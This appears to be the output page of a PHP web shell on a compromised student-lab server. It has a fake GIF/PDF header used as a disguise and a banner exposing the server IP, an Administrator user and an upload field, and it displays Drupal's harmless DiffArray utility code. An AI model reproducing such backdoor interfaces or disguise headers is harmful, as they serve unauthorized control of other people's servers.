GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Component/Utility/ |
Upload File : |
<?php namespace Drupal\Component\Utility; /** * Provides helpers to perform diffs on multi dimensional arrays. * * @ingroup utility */ class DiffArray { /** * Recursively computes the difference of arrays with additional index check. * * This is a version of array_diff_assoc() that supports multidimensional * arrays. * * @param array $array1 * The array to compare from. * @param array $array2 * The array to compare to. * * @return array * Returns an array containing all the values from array1 that are not present * in array2. */ public static function diffAssocRecursive(array $array1, array $array2) { $difference = []; foreach ($array1 as $key => $value) { if (is_array($value)) { if (!array_key_exists($key, $array2) || !is_array($array2[$key])) { $difference[$key] = $value; } else { $new_diff = static::diffAssocRecursive($value, $array2[$key]); if (!empty($new_diff)) { $difference[$key] = $new_diff; } } } elseif (!array_key_exists($key, $array2) || $array2[$key] !== $value) { $difference[$key] = $value; } } return $difference; } }